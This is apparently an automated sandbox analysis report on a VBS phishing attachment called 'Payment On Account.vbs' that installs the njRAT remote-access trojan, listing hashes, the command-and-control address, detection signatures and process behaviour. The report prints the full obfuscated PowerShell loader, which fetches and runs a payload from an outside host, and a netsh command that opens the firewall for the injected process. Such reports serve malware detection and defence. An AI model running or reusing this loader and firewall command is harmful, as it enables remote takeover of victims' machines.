Analysis
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max time kernel
147s -
max time network
147s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
15-09-2021 17:03
Static task
static1
Behavioral task
behavioral1
Sample
Payment On Account.vbs
Resource
win7v20210408
General
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Target
Payment On Account.vbs
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Size
3KB
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MD5
7ad432e7164dcff056883fe786d9fb7b
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SHA1
0985f8d96a8e972ad6a8fef0f8ca6774f13c1373
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SHA256
34f778359bb71ac8bcf04edb0d48e9f4209fea9fa79c273fc3669c5e94042a5b
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SHA512
7b7a977cd1bdfd9e302ea0989e53bc1de1efe267693d850193617a4744e0049d73ec0aaca7897465fb5e00d1f74588929fcb259adc3ac6f7edb330637f0b742c
Malware Config
Extracted
http://54.184.87.30/jbypass.txt
Extracted
njrat
0.7d
HacKed
103.147.184.73:8319
98d5ec0a408febb60524eab801ba601c
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reg_key
98d5ec0a408febb60524eab801ba601c
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splitter
|'|'|
Signatures
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suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 3 1012 powershell.exe 4 1012 powershell.exe -
Modifies Windows Firewall 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1012 set thread context of 2796 1012 powershell.exe aspnet_compiler.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1012 powershell.exe 1012 powershell.exe 1012 powershell.exe -
Suspicious use of AdjustPrivilegeToken 28 IoCs
Processes:
powershell.exeaspnet_compiler.exedescription pid process Token: SeDebugPrivilege 1012 powershell.exe Token: SeDebugPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe Token: 33 2796 aspnet_compiler.exe Token: SeIncBasePriorityPrivilege 2796 aspnet_compiler.exe -
Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.exepowershell.exeaspnet_compiler.exedescription pid process target process PID 652 wrote to memory of 1012 652 WScript.exe powershell.exe PID 652 wrote to memory of 1012 652 WScript.exe powershell.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 1012 wrote to memory of 2796 1012 powershell.exe aspnet_compiler.exe PID 2796 wrote to memory of 2256 2796 aspnet_compiler.exe netsh.exe PID 2796 wrote to memory of 2256 2796 aspnet_compiler.exe netsh.exe PID 2796 wrote to memory of 2256 2796 aspnet_compiler.exe netsh.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment On Account.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/jbypassH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1012-114-0x0000000000000000-mapping.dmp
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memory/1012-120-0x000001E4468B0000-0x000001E4468B1000-memory.dmpFilesize
4KB
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memory/1012-125-0x000001E460EA0000-0x000001E460EA1000-memory.dmpFilesize
4KB
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memory/1012-126-0x000001E45ED40000-0x000001E45ED42000-memory.dmpFilesize
8KB
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memory/1012-127-0x000001E45ED43000-0x000001E45ED45000-memory.dmpFilesize
8KB
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memory/1012-132-0x000001E45ED46000-0x000001E45ED48000-memory.dmpFilesize
8KB
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memory/1012-143-0x000001E45ED48000-0x000001E45ED49000-memory.dmpFilesize
4KB
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memory/1012-155-0x000001E460E50000-0x000001E460E54000-memory.dmpFilesize
16KB
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memory/2256-167-0x0000000000000000-mapping.dmp
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memory/2796-157-0x000000000040746E-mapping.dmp
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memory/2796-165-0x00000000054A0000-0x00000000054A1000-memory.dmpFilesize
4KB
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memory/2796-166-0x0000000005AD0000-0x0000000005AD1000-memory.dmpFilesize
4KB
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memory/2796-156-0x0000000000400000-0x000000000040C000-memory.dmpFilesize
48KB
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memory/2796-168-0x0000000005670000-0x0000000005671000-memory.dmpFilesize
4KB
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memory/2796-169-0x00000000055D0000-0x0000000005ACE000-memory.dmpFilesize
5.0MB
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memory/2796-170-0x0000000005620000-0x0000000005621000-memory.dmpFilesize
4KB
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memory/2796-171-0x00000000057A0000-0x00000000057A1000-memory.dmpFilesize
4KB